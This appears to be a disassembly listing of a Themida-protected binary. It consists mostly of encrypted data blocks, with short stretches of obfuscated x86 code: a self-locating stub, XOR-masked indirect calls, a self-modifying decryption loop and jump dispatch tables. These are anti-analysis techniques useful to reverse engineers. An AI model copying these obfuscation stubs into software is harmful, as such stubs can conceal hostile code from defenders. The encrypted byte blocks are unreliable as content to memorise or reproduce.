dd 0B4E5CE5Fh, 0E6B0CABDh, 0F00CDE1Dh, 0B779C5ADh, 34F2CAB7h
dd 9710D14h, 0B2F9C1F4h, 3C76C5F7h, 0DEF2CA7Bh, 0B71A9FBDh
dd 94F2CADEh, 3DAF0932h, 35F6EEDBh, 0AFF6EE9Fh, 0F1F2CAEDh
dd 13ED09A3h, 25170BD0h, 971EDF0h, 0B2F9C4EFh, 0EC77C56Fh
dd 0DEF2CAB7h, 0B71A9CDBh, 94F2CAEDh, 3DAC09A8h, 35F6EE0Fh
dd 0ADF6EEF9h, 0F2F2CADEh, 6CEB0939h, 959F55F1h, 28204BBDh
dd 0A14F49C2h, 0B4F4C1D1h, 0B4A24E74h, 0B498CABDh, 0B4F1228Bh
dd 0E9D2CA6Fh, 0D87B9774h, 0F073CEFFh, 0B4EECEC9h, 0E1B7CAF6h
dd 0C644E4B8h, 0BC4506C1h, 5D0B0F4Ah, 0B4F2CAD9h, 5CA2CADDh
dd 0B4F2CAD8h, 0EC3192CDh, 0B0D68E7Fh, 0B0D68EFAh, 0B4F2CAA5h
dd 0C9319A9Eh, 462357Fh, 85860836h, 971C116h, 0B2F9C1F4h
dd 0ED77C5F7h, 35F2CA7Bh, 0D5B37E6Eh, 0B49897E6h, 0B4F1223Ah
dd 0E9D2CAB7h, 0D87B9718h, 0F073CEC9h, 0B4E5CED2h, 0E1B7CA7Bh
dd 0A021617Eh, 772541CAh, 5CA0CA05h, 0B4F2CAB4h, 0EE3190FBh
dd 0B0D69E64h, 0B0D68E77h, 0B4F2CA66h, 303198FFh, 4299896h
dd 74F462C4h, 0B4C22335h, 5F73CADBh, 9B4ECB95h, 0F08071ABh
dd 0DE3DE085h, 0B71A9CBDh, 94F2CADEh, 3DAC0931h, 35F6EEC3h
dd 0ACF6EE9Fh, 0F2F2CAEDh, 0D5DE09A0h, 0D29E2DB0h, 97F1936h
dd 0B2E2724Ah, 0AB047E2h, 0A94ACCA7h, 8789F087h, 0BFE08F68h
dd 753DE1F0h, 7766EC4Bh, 0BF3239DEh, 47DDA44Ch, 0DA51324Fh
dd 0BE0E8FF4h, 1B7484F5h, 0E983F33Bh, 83A4F305h, 10B85EBDh
dd 0D740006h, 4DD78D8Dh, 1B8060Bh, 0FF000000h, 6A40E1h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 0A3FCD6C3h, 68C0Fh, 0EA810000h, 44856454h, 8354D380h
dd 6A2DE8h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 170424h, 50400000h, 5BCD92C3h, 18820FD4h
dd 0F000000h, 1284h, 0DE900h, 0B5180000h, 33143080h, 4309C6ADh
dd 8B1DD51Bh, 39EF80C0h, 5BDBD83h, 7500060Bh, 0D1BD8309h
dd 60B29h, 53501974h, 0FCB8C08Bh, 89000003h, 0B129985h
dd 819D8D06h, 0FF060DB3h, 83585BD3h, 0B29D1BDh, 17740006h
dd 0FCB85350h, 89000003h, 0B129985h, 229D8D06h, 0FF060DB0h
dd 6A585BD3h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 18042444h, 40000000h, 6B03C350h, 0F56E5F4h, 0E381D8B7h
dd 70959029h, 8D8DC08Bh, 610C050h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Bh, 0FC35040h, 0C0976803h, 3396D32Dh
dd 0B2489B5h, 4D8D8906h, 89060B17h, 0B0FE19Dh, 1985C706h
dd 60060B01h, 6A000060h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 4A8FC350h, 8F0F3D6Bh
dd 8, 2830Fh, 61600000h, 100985C7h, 60Bh, 13E80000h, 6A000000h
dd 5E8C46B7h, 447F7BB2h, 887ECE7Dh, 0F38389B4h, 0B58B9C19h
dd 60B21C1h, 49B5FF5Fh, 0E9060B1Ah, 7, 419C6932h, 0FF52ADA7h
dd 0B0AC595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1604h, 0C3564600h, 0FDF8ED4h, 886h, 28D0F00h, 60000000h
dd 6880F61h, 89000000h, 0B04ED85h, 0FF006A06h, 0B32DD95h
dd 0EBC08B06h, 0E49B8E0Dh, 0C06716CFh, 13F8F7DDh, 24EB4FC5h
dd 9 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5981EE
; ---------------------------------------------------------------------------
mov [ebp+610C064h], esi
mov eax, [ebp+60B0B19h]
mov eax, [ebp+60B0939h]
lea esi, [ebp+610C0AEh]
lea eax, [ebp+60E4D7Eh]
call eax
retn
; ---------------------------------------------------------------------------
push ebp
call $+5
pop ebp
sub ebp, 610C0B4h
cmp dword ptr [ebp+60B0B19h], 1
jnz loc_598198
push dword ptr [ebp+610C064h]
mov eax, [ebp+60B0939h]
xor eax, 34812736h
call eax
cmp al, 1
jnz loc_598191
mov eax, 1
jmp loc_5981D8
; ---------------------------------------------------------------------------
loc_598191: ; CODE XREF: Themida_:00598181j
xor eax, eax
jmp loc_5981D8
; ---------------------------------------------------------------------------
loc_598198: ; CODE XREF: Themida_:00598166j
push 1Ch
lea esi, [ebp+610C068h]
push esi
push dword ptr [ebp+610C064h]
mov eax, [ebp+60B0939h]
xor eax, 34812736h
call eax
add esp, 0Ch
lea esi, [ebp+610C068h]
mov eax, [esi+14h]
and eax, 4
cmp eax, 4
jz loc_5981D3
xor eax, eax
jmp loc_5981D8
; ---------------------------------------------------------------------------
loc_5981D3: ; CODE XREF: Themida_:005981C6j
mov eax, 1
loc_5981D8: ; CODE XREF: Themida_:0059818Cj
; Themida_:00598193j ...
cmp dword ptr [ebp+60B0B19h], 1
jnz loc_5981EC
pop ebp
retn
; ---------------------------------------------------------------------------
jmp loc_5981EE
; ---------------------------------------------------------------------------
loc_5981EC: ; CODE XREF: Themida_:005981DFj
pop ebp
iret
; ---------------------------------------------------------------------------
loc_5981EE: ; CODE XREF: Themida_:0059812Cj
; Themida_:005981E7j
lea eax, [ebp+610C08Dh]
mov [ebp+60B0DD9h], eax
jmp loc_598297
; ---------------------------------------------------------------------------
db 94h
dd 5000000h, 1000000h, 28000000h, 200000Ah, 20h dup(0)
dd 2B000000h
db 0BBh, 57h, 4Eh
; ---------------------------------------------------------------------------
loc_598297: ; CODE XREF: Themida_:005981FAj
jmp loc_598E4C
; ---------------------------------------------------------------------------
push 610C36Eh
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 610C47Bh
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 610C56Bh
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 610C5DCh
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 610C755h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 610C7CEh
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 610CB09h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 610CC06h
jmp loc_543FDB
; ---------------------------------------------------------------------------
dd 0AEB58C96h, 0D81B3641h, 76EDDC2Fh, 0A1B28199h, 0D2013C44h
dd 9BE17C63h, 494EBFA4h, 0F63EEF74h, 9EEB04DFh, 0A14BB0A3h
dd 84DF790Dh, 997FCEC5h, 72F8D5DEh, 7FF14DCDh, 90BE692Fh
dd 89C4D1B8h, 30700C6Ah, 0C622E28Ah, 33391D0Fh, 9F4036BBh
dd 4F3307BDh, 614EE7E7h, 6766323Ah, 0EAE730DDh, 1A042266h
dd 2C355FF3h, 2FDEh, 0D6F2600h, 0D140E476h, 5EBD9F05h
dd 39355DBFh, 6E25D2E1h, 0F004F5C1h, 391D71C5h, 0B1ED9D55h
dd 78383A60h, 9D76976Dh, 0EC532C35h, 0BD000000h, 14F8D5DEh
dd 9C605FA5h, 19EDD82Dh, 896A67B0h, 9418DE65h, 8A9302C3h
dd 618FC3B7h, 0BCAE9BECh, 0E6CEBA32h, 0B82C3C6Bh, 3C6BE6CCh
dd 0BA807F43h, 0E93AEB8Ch, 6C3068DCh, 94E105D7h, 344260F8h
dd 0CC4602AAh, 0F1C93A60h, 0E52BDF46h, 30DE18BFh, 2A74EFD3h
dd 8B23C952h, 446DD5E1h, 68FA605Ah, 72BB80C4h, 15330730h
dd 6F56AA5Bh, 0B075EFDh, 38004DDh, 9FE502E5h, 61D5E035h
dd 403EC92Dh, 738C6B80h, 9803097h, 66B00000h, 0C1BF46Fh
dd 0BAC9263Dh, 6BB35C87h, 1A1E8F54h, 5299383Bh, 855E61BBh
dd 352E1368h, 62F1CCD8h, 9E457085h, 1377FF6Dh, 94C584DEh
dd 1EBDBF25h, 0B21EDFC6h, 3C4831BCh, 1266E701h, 370BADF8h
dd 3D11FFE2h, 81BCC926h, 9AA8E45Bh, 8CDC38ECh, 0CB74FEDDh
dd 0FE0D9471h, 271B7FC3h, 6F966E09h, 40E4760Dh, 0BD9F05D1h
dd 5090645Eh, 3A60CB30h, 0AA2EBFE5h, 0A81C237Bh, 0A940BA54h
dd 802C35C6h, 0D5h, 0ED5DE6Ch, 941DE2E6h, 391D65C3h, 2174A133h
dd 1DB4D010h, 897BC394h, 184D5BBFh, 29C73B84h, 99EA1B21h
dd 718B82ACh, 0A16AFA4Eh, 77C39435h, 0C3D27E86h, 997492F6h
dd 26A2B18Ch, 7997A2F7h, 0C2B68394h, 0A349D2AAh, 3195E411h
dd 0CF0D4EBh, 70290FC8h, 683C1183h, 312336BEh, 3E04BD9Fh
dd 18237925h, 405540D2h, 0A34D8175h, 6C8ABAD3h, 1DCF3344h
dd 4E95A8F0h, 0EB645BA1h, 8C6AFAB5h, 7377C83Ah, 0A5000008h
dd 0CF97A51h, 0FA2BC8F9h, 0A44192AFh, 13FC675Eh, 962D3609h
dd 6954AC4Fh, 39041D8Ah, 8CBBCD3Ah, 506DB657h, 7AF27E83h
dd 0C584D90Eh, 0BD4A3281h, 5401801Eh, 1B6CA682h, 311CCA2Eh
dd 0D906D4EBh, 49804D14h, 0F56E985Bh, 21320F18h, 0F8D5DED3h
dd 0F050A514h, 3A25A9A4h, 3EC0D9D4h, 75694DE8h, 57ECB0EEh
dd 7B3A6185h, 0CF33BD84h, 0AAA7F01Dh, 0F603F27Ch, 629618DBh
dd 0A83A7B7Fh, 7EF2961Eh, 0D753A7Bh, 0BBC0DBE3h, 52BCD7B8h
dd 7ED8ACC0h, 6BAF3A7Bh, 809BE1BDh, 0CADDC85Ah, 19370BFFh
dd 7066784Dh, 92F5CD44h, 0B87CF554h, 618517C2h, 0A38F5E65h
dd 0DA2990EAh, 277549E7h, 73A6CE1Ch, 0F4DD846Fh, 0C5303A8Eh
dd 0CB0A0EB6h, 12F0347h, 9644DFBDh, 89E2761Eh, 6BF1C9E7h
dd 875C69BAh, 27201D66h, 2C509E83h, 833D9270h, 0B5000007h
dd 1C896A61h, 0CA3B3809h, 0B45182BFh, 638C576Eh, 863D2619h
dd 5964BC5Fh, 29146D9Ah, 0FCCBDDCAh, 407D8667h, 6A826E93h
dd 0C584D81Eh, 6FBA2291h, 77E4760Dh, 5052F48Ah, 0BD346C7Eh
dd 3C31A453h, 58CC9E48h, 0BD84B373h, 0DA64F6CCh, 0D56E3965h
dd 0CF03F7C2h, 97167030h, 0B0819479h, 63342A3h, 83BECBB2h
dd 62371844h, 8C43C786h, 712h, 1AD9F002h, 0B4AF9AEDh, 0E271485Bh
dd 1DC6FD05h, 4E95A8F0h, 0F70DE0F7h, 0A5FA2BC8h, 5AAA5B98h
dd 217F063h, 0DDF2C37h, 84D8ED99h, 2D9362C5h, 0E4760D6Fh
dd 845E5B40h, 344CB9BDh, 1A60DF09h, 28586BD0h, 702CE964h
dd 9CE914D6h, 97E4B2A1h, 9C980A57h, 0AB9EB984h, 14C63A65h
dd 0CE388A7h, 0A7FF5303h, 0E08AA498h, 7BC72C4Ch, 0E73FEE3Ah
dd 152871D8h, 44C36DA1h, 0F401EC7Eh, 0F71175D9h, 0C7B2D313h
dd 33613A7Bh, 0E6AF5EB2h, 429A2C2Fh, 62000000h, 0E5770C6Fh
dd 635AAA5Bh, 1D5931C5h, 29BBC394h, 941DC185h, 91E946C3h
dd 0A3A04EA2h, 0D761EB5Fh, 941D2B5Fh, 0A846BCC3h, 941DACDCh
dd 0AA3B79C3h, 400CB756h, 79232h, 0C87A0000h, 209h, 0C233BD50h
dd 0D83C80BDh, 941D7C08h, 0F1AF3C3h, 160A4E32h, 0C4F88DF8h
dd 0D1E036B8h, 77BE6FFDh, 5B998181h, 9EF2967Bh, 3CEAD52Fh
dd 0CA0F3AB2h, 3A00BD9Fh, 261B01C5h, 0D1ABECCBh, 8416A04Ah
dd 0DEEB6460h, 7997EB89h, 0D5DAC8EDh, 0F145BDF7h, 9258E3B9h
dd 2F30DB00h, 2C6EE57Ch, 0ABE3A024h, 0E2082787h, 1DCAAA8Ah
dd 971FCD21h, 87AB35F3h, 0EE00E74h, 0A6FAFEE6h, 0EFF71F9h
dd 4206CE03h, 0C5FDA4B6h, 0CF231268h, 0B6FD891Dh, 872FDA4h
dd 0C2D7C614h, 76836CF7h, 0A7FA8C5Bh, 0C9394221h, 59976h
dd 407F8B00h, 16237293h, 0F8D120CDh, 4D748A7Bh, 1C237996h
dd 926970C7h, 43ACB78Eh, 33DC073Ah, 9C09EAE5h, 54A5BE8Bh
dd 0DA741094h, 0CFBC584h, 0F8D5DE94h, 66881414h, 5461B21Eh
dd 54488C70h, 72C77486h, 0B0525AF4h, 4AE76F99h, 0F6BD9FAEh
dd 73C7F207h, 6F66AE1Fh, 8A89A79Bh, 9D11D225h, 3A619FE9h
dd 5C20047Eh, 2EDF0478h, 691FE8E5h, 9E865CD1h, 520D3B4h
dd 6100000h, 0ACFB14CFh, 5AA9469Dh, 0B13FC67h, 0BAFE2F34h
dd 0F2F9589Bh, 253E011Bh, 558EB3C8h, 82516CB8h, 3E251065h
dd 0F3971FCDh, 74C584DAh, 1EBD1F85h, 8AE879B4h, 0F3971F81h
dd 74C394EDh, 11FC2A0Eh, 0F223C904h, 2F4795ACh, 0C394ED5Bh
dd 0D038D62Ch, 60B41C69h, 0A79BBAC0h, 1D6C9943h, 0CA64582Ch
dd 0F9E9846h, 0ED359DE6h, 0CA2E62D6h, 266E9F29h, 96675B2Fh
dd 0A799B78Eh, 3240FB86h, 2AA3h, 0D6F4D00h, 7940E476h
dd 0F6BD9F2Dh, 5828388Ch, 8D3A60EDh, 0CB629617h, 0E62C35E0h
dd 49h, 44E87Ah, 873A60E1h, 6FAF95B3h, 40E4760Dh, 0BD9EE1D7h
dd 73C08635h, 44273D04h, 8755ADAAh, 21320F16h, 60C3CCBDh
dd 0F93A4F3Ah, 60C31175h, 0DDAC963Ah, 370BFFCAh, 90E700D3h
dd 3B4ABBA1h, 9768E00Eh, 436h, 760D6F31h, 46D40E4h, 98E2BD9Fh
dd 7B56A352h, 839445CDh, 11BC2B6h, 81AD4A3Eh, 2EB63388h
dd 7C4D5C2Dh, 0E5D82188h, 0DDD73D11h, 5C56BED0h, 0B094CB51h
dd 1FD53421h, 0C2DAE20Ch, 263BB3B9h, 37446BF5h, 0A2F710C3h
dd 0EC192397h, 0E125A994h, 17310C18h, 0FC6EF587h, 76EE5D68h
dd 64E8D24Eh, 0A62ABBF9h, 76852F77h, 0BF93F75Bh, 99ED01CBh
dd 6E2E4AAEh, 37163014h, 520CD7E2h, 832B314Ah, 5041B6E2h
dd 0FAA3176Bh, 0C2F109A9h, 52261A7Eh, 0E33B91EBh, 0A514F8DCh
dd 0B1916550h, 0E5106A7Bh, 259A1EAFh, 0ED8EEE0Eh, 53F3DFA7h
dd 81B372A9h, 613B83ADh, 0CD9C10DAh, 25A4C98h, 0B9CA3B38h
dd 4B51388Ch, 0A2408074h, 4D6D573Dh, 7CAA8E3Bh, 9721AB3Ah
dd 5CC66B1Fh, 6886FC22h, 0E83090E5h, 21053840h, 0DE05795Dh
dd 0A3F2FC80h, 8AEE2296h, 0F0F9CC60h, 0BC235C57h, 0E3B14A23h
dd 6FEC1A3Fh, 0ADF6A72Bh, 0BB312C90h, 0E75AA504h, 58A28D1Ah
dd 3959748Dh, 2082AC80h, 198D1FA5h, 1829F16Dh, 0D2AD98ECh
dd 1E7E3EE8h, 6A5FD705h, 0FB6622C7h, 66B35C87h, 0ED36E76Bh
dd 0B0043345h, 8EC6A35Ch, 0B7C528C6h, 0C6D68053h, 0BA07AFBDh
dd 8B682D26h, 931BA5B7h, 0C3324F7h, 0B5F50278h, 731CF770h
dd 8DA5AD5Bh, 0C33AFFDh, 0F77D8828h, 0AF85C165h, 300A0C33h
dd 0BF052416h, 843B01E7h, 320E1F8Eh, 82BFC498h, 48E6DA3Eh
dd 3AB1h, 0D6F5F00h
dd 8D77E476h, 1396570Fh, 37412BC5h, 444501A5h, 2BCAC394h
dd 0A3DE03EEh, 608EE2F7h, 9F732594h, 4C300ABDh, 6151E4E4h
dd 6263313Ah, 363C7FAEh, 0CDAA2Ch, 0DEB20000h, 0A514F8D5h
dd 2D9C605Fh, 0B019EDD8h, 65896A67h, 0C39418DEh, 33391461h
dd 0CB5CBEC2h, 9B5B19A3h, 0F6CABE92h, 256E9F58h, 3844A428h
dd 0BBCC3923h, 7C8E608Eh, 0C74B8691h, 68916583h, 0C5426058h
dd 643866FDh, 97E00DDFh, 1BEFDA2Fh, 4B25C327h, 6DEB2223h
dd 8557AB44h, 1FB1C47Bh, 0FA468313h, 72C21E6Ah, 20A99130h
dd 3014F8D1h, 0DBCA5416h, 0FA53FDCCh, 0C8F50AA6h, 9A9E0FD4h
dd 7406ACBBh, 45CD8C6Bh, 1E582h, 0F4C3D700h, 5A77BE6Fh
dd 2C1D6C99h, 0F1C0D637h, 407F8562h, 0DE3D2493h, 8F78FBDAh
dd 7FA84B76h, 28C51E29h, 8871E2DFh, 0D6B8CC60h, 400FC584h
dd 0FBDADED8h, 0B160CA71h, 22D6CB2Ch, 71826304h, 0BD799F44h
dd 869F4750h, 15A947BBh, 0C66EFC87h, 0BD9F0557h, 0D61EE2D8h
dd 3A60CAB6h, 6DD1E037h, 0EA5E6BBCh, 87FB0A0Ch, 5DB73662h
dd 2C35C7ACh, 0C285h, 9DE61700h, 0DE9086A0h, 8372F8D5h
dd 92F65A75h, 5F4E9C74h, 0B1957948h, 5362B697h, 18BC47EFh
dd 0F603C394h, 9AEF18DBh, 0BB33BDAFh, 3C6BE6CFh, 0AA95EF40h
dd 4400A4B6h, 0CB3C6BE6h, 6BF159F7h, 3AB64BAh, 3C6BE647h
dd 709EF2C8h, 21CB502Ch, 0DC2B2897h, 0FD0B8E91h, 0F5A8353h
dd 0EFD34260h, 5C522A74h, 0D11B7F46h, 13E7DE24h, 0D75F113Fh
dd 446D9ED5h, 0CF3E2C16h, 0BC698AB5h, 168E5964h, 258C6BF0h
dd 0E86A2Dh, 0CED80000h, 74836CF7h, 22719E45h, 0C3DB342Fh
dd 728667FCh, 3A219043h, 7DE6D923h, 0ADB68B90h, 0DA193440h
dd 76EDD82Dh, 0BBCF6785h, 0CC584D1h, 0DADEC7BDh, 7A8F78FBh
dd 0BD6C944Fh, 84084150h, 0F4C3D5h, 0CF3EE8CCh, 0B05D8FBAh
dd 0A2E66A67h, 2CBE8C84h, 1D7E0AA2h, 89F1C394h, 941D0D79h
dd 8EB882C3h, 845F6ABFh, 0BD889D08h, 0EA710B93h, 0F207F600h
dd 5D6E4F1Ch, 0F7EB5D9Ch, 891DCF03h, 0C394D2FDh, 16DE0872h
dd 0BD849259h, 7D2C90EAh, 0A737C628h, 0A750689Dh, 0C55531B5h
dd 0E0DA3A64h, 6DB6578Ch, 0C644EC50h, 0DE82221Eh, 0BA99E10Ch
dd 729B2A8Ch, 0DECF1421h, 2D186DD5h, 8E9445C9h, 0B98A0B6Ch
dd 83E7B570h, 786023Fh, 0BBB8959Eh, 0DAD7394Ah, 116EC2D1h
dd 0DD09E72Eh, 280C0105h, 38F4034h, 29000000h, 0D4DE9C84h
dd 57A009FDh, 0D127967Ah, 52AB12E6h, 0EE329B6Fh, 66BA63D7h
dd 0FC02EB5Fh, 798871C5h, 0FA0DFC40h, 83CF7BCFh, 1C8904ECh
dd 81E38924h, 4C3h, 4EB8300h, 5C241C87h, 81E28952h, 4C2h
dd 4EA8100h, 87000000h, 895C2414h, 0E168241Ch, 8900001Ch
dd 0B9512434h, 610C248h, 0C8BCB89h, 4C48324h, 24348B54h
dd 4C481h, 52530000h, 4E3B5EBAh, 2454014Eh, 468F5A04h
dd 86E8108h, 4E4E3B5Eh, 5124348Bh, 0C181E189h, 4, 4C181h
dd 0C870000h, 1C8B5C24h, 0E7895724h, 4C781h, 0C7830000h
dd 243C8704h, 0B195E95Ch, 7AB5FFFAh, 0DD303F76h
; ---------------------------------------------------------------------------
loc_598E4C: ; CODE XREF: Themida_:loc_598297j
mov eax, 610CD13h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0E5h, 0B3h, 0A8h
dd 2B874F5Ch, 29955304h, 0C6396B16h, 0E8FE644Eh, 0F508ED6Fh
dd 0C8D93969h, 0F18FCB36h, 3CA51F5Ch, 0BD7D4B4Dh, 767E446Dh
dd 0E3BC391Fh, 81581C31h, 85CBC63Bh, 0AE82Dh, 42320000h
dd 0DEB41713h, 0F2DEEE78h, 0DE9h, 0D903CE00h, 0ED71A0D7h
dd 906C25C4h, 605A7E87h, 5C28161h, 0BB000063h, 0
; ---------------------------------------------------------------------------
jnb loc_598ED4
jg loc_598ED4
jmp loc_598ED4
; ---------------------------------------------------------------------------
db 55h, 0CDh, 0D4h
dd 0BB4559A3h
; ---------------------------------------------------------------------------
loc_598ED4: ; CODE XREF: Themida_:00598EBCj
; Themida_:00598EC2j ...
push dword ptr [ebx+edx]
cmc
pop edi
and ecx, 227CD073h
xor edi, 2915C11Fh
mov ax, di
xor edi, 413B5167h
mov cx, 98EFh
sub edi, 69680D03h
clc
mov [edx+ebx], edi
sub ebx, 1
movsx ecx, dx
dec ebx
dec ebx
dec ebx
ja $+6
cmp ebx, 0FFFF9D90h
jnz loc_598ED4
jmp loc_598F2B
; ---------------------------------------------------------------------------
dd 24372F1Dh, 0BBB92A21h, 0DA462D05h
db 84h, 81h, 60h
; ---------------------------------------------------------------------------
loc_598F2B: ; CODE XREF: Themida_:00598F17j
lea ecx, [ebp+610CF34h]
push 0
push esi
call sub_598F3C
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_598F3C proc near ; CODE XREF: Themida_:00598F34p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_598F3C endp
; ---------------------------------------------------------------------------
dd 5BEFC63h, 4EAC0232h, 4D8D8968h, 6A060B17h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
dd 0D9F8C350h, 0BD9F56AEh, 11985C7h, 5FBC060Bh, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 4BBE44C3h, 0C72E12DCh, 0B100985h, 6, 0DD38BE00h, 0B5FF71BFh
dd 60B2A41h, 11698589h, 858B060Bh, 60B2ED9h, 0AC595FFh
dd 8B66060Bh, 0FF006AF1h, 0B32DD95h, 0EBC08B06h, 41F8B519h
dd 1FADA26Bh, 903ECE3Dh, 343101B9h, 0A61EF131h, 0E1C4E928h
dd 0DE8097Dh, 0A000000h, 0EE31FBE6h, 447BA155h, 67C34E69h
dd 9E8h, 9BBBC700h, 41669E13h, 0EE9AEC9h, 64000000h, 0DC495EBh
dd 2D5C6603h, 66581237h, 0E9595E2Bh, 9, 328A9F2Dh, 0A30EAEC1h
dd 0C6C1815Bh, 89000069h, 0B1B099Dh, 1A3F6806h, 665B0000h
dd 8B99D3BFh, 85096011h, 60B0941h, 4810Fh, 0BE660000h
dd 81619EC1h, 0FA4C56F2h, 5C88107h, 814D5A1Bh, 91E992F2h
dd 5AC48039h, 0FF50F281h, 0B5897183h, 60B23EDh, 0BD8B1189h
dd 60B2F55h, 8CEAE981h, 0C1816405h, 64058CE6h, 1659BD89h
dd 0EB83060Bh, 11850F01h, 60000000h, 74E18166h, 16E96103h
dd 0AB000000h, 946DA38h, 13418D89h, 8CE9060Bh, 93FFFFFFh
dd 0B675D182h, 0ABE90Fh, 8D500000h, 0B11C3F2Eh, 0ABDA5F72h
dd 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh
dd 2096B1F4h, 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h
dd 329FB799h, 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h
dd 0B4F94E00h, 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h
dd 79A3F653h, 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h
dd 60FD756Bh, 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h
dd 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh
dd 93BCE1B6h, 97B3ED72h, 0A601E800h, 323D94E7h, 0FE71D83h
dd 1204E954h, 80680000h, 0E90610D2h, 0FFFAAE53h, 10D38868h
dd 0AE49E906h, 4C68FFFAh, 0E90610D4h, 0FFFAAE3Fh, 10D5B968h
dd 0AE35E906h, 2268FFFAh, 0E90610D6h, 0FFFAAE2Bh, 10D6C268h
dd 0AE21E906h, 8B68FFFAh, 0E90610D7h, 0FFFAAE17h, 10D83468h
dd 0AE0DE906h, 0F068FFFAh, 0E90610D8h, 0FFFAAE03h, 10DA3968h
dd 0ADF9E906h, 3E68FFFAh, 0E90610DBh, 0FFFAADEFh, 10DC6368h
dd 0ADE5E906h, 0B168FFFAh, 0E90610DDh, 0FFFAADDBh, 10DF7B68h
dd 0ADD1E906h, 9468FFFAh, 0E90610E0h, 0FFFAADC7h, 0F66D64AEh
dd 20330E19h, 5E85B4C7h, 896A69B1h, 3A39041Ch, 63B9549Bh
dd 1166875Ch, 0CED6372Ch, 76836CF7h, 0F973985Bh, 84CC1175h
dd 0B12796C5h, 72F8D5DEh, 1D384CE0h, 4B8FC394h, 0B3C4B59Dh
dd 7B015D86h, 6FF27AE0h, 0C0BD9F19h, 0D9C416FAh, 0E5E105CEh
dd 6A3A60E6h, 0E1483C10h, 9644B897h, 60E66A1Eh, 6B85FD3Ah
dd 60E6EB9Bh, 6B7A3E3Ah, 35087891h, 20512Ch, 6FBF0000h
dd 40E4760Dh, 0BD9F05D1h, 5090645Eh, 3A60CB30h, 0DA2EBFE5h
dd 2C35C733h, 0B01Eh, 0D5DEE600h, 5FA514F8h, 0C468FA60h
dd 0C3941D80h, 6150A607h, 3357DF0Dh, 0B4C3941Dh, 0A2A8A04Eh
dd 0F9172A73h, 42360314h, 0A0B38E9Bh, 941B773Eh, 80BDC6C3h
dd 0D124D153h, 0B2C746E0h, 0A1FB3387h, 0D9DC509Ah, 6E4260FFh
dd 64587781h, 46DDBFFFh, 829B0A94h, 9FC591BFh, 10446D5Eh
dd 0CFD5C02Ah, 34E163F0h, 286CD0E1h, 0CAF50FFEh, 6B461B3Dh
dd 1DF2508Ch, 0FB2h, 0E67D545Eh, 10C3FE09h, 4E95A4F7h
dd 0F97A59A1h, 2AC9F40Ch, 53A944ABh, 116F76Ch, 0BEC6273Ch
dd 66B35C87h, 0E903886Bh, 84CF0145h, 413786C5h, 78FBDADEh
dd 944F7A8Fh, 4A50BD6Ch, 0CBBF969Eh, 0EB2F93F7h, 1B613Dh
dd 0A02448DAh, 27C3941Dh, 33BB35D3h, 0BD9F0582h, 32397EBh
dd 3A60CB43h, 79830296h, 0FA4E7B8Ch, 57F66886h, 722C35C7h
dd 0CDh, 0BB33BD9Ah, 0C3941DCFh, 0B10E434Eh, 0E3298E49h
dd 1DA1D69Bh, 3C091AF3h, 7F9BE148h, 1F97A122h, 0C394D86Bh
dd 5D7986FCh, 0D4B89C8Ah, 9484551Ch, 3393E4C3h, 2165E9E0h
dd 259A16CDh, 87AD58E7h, 0C548E650h, 2B3185B0h, 7593AAFAh
dd 22C85329h, 9FF78F8Ah, 38ACA0BDh, 3A61D74Ch, 589BFFC3h
dd 495342CCh, 0D78AFE76h, 0D31D3A61h, 61D72F5Bh, 665AA03Ah
dd 93A8F4C8h, 47AC2549h, 0D921446Ch, 0A79EE213h, 764953BCh
dd 6A4A89F9h, 0E758AA8Ch, 0EAAh, 0EE754C56h, 18DBF601h
dd 0B6AD9CEFh, 0E1724159h, 12C1FC04h, 5BA1BCA3h, 90EFF64h
dd 0B6FE2F34h, 5EAB449Fh, 0E10BF063h, 84CE394Dh, 593F8EC5h
dd 78FBDADEh, 944F7A8Fh, 0F8D5DE6Ch, 5B768372h, 9D7593F7h
dd 75EEDB2Ch, 0CCB08998h, 263D081Dh, 66D54151h, 0A0F431D0h
dd 266EDFC5h, 0C9675B2Fh, 0F109A7F5h, 81754457h, 0A1E5694Dh
dd 256E9F4Dh, 0F86CFE28h, 0BD9F45CDh, 0CF077842h, 34EB16BEh
dd 8557ECB0h, 0F4105461h, 0DDA199BFh, 0B6A4BFDDh, 0C66D563Eh
dd 33442941h, 0E38CDDh, 14080BF9h, 76129AA0h, 0F935C540h
dd 0A349AD81h, 74812172h, 0BD91F559h, 13C49A6h, 1076EC6h
dd 0F255BD8Ah, 0DE6h, 0AA498092h, 0C41F2A7Dh, 72E1D82Bh
dd 0ADB68D95h, 0DE053840h, 879D7067h, 354ABBB8h, 0EA3AEB08h
dd 92E700D3h, 9D4FBCA7h, 84C97D09h, 9D03F2C5h, 14F8D5DEh
dd 5430B4C6h, 0DBC3941Dh, 277549E7h, 3A6CE1Ch, 29BD9F1Eh
dd 0F90CA4FCh, 2C0044C8h, 263D0502h, 768A2478h, 9AFECBDAh
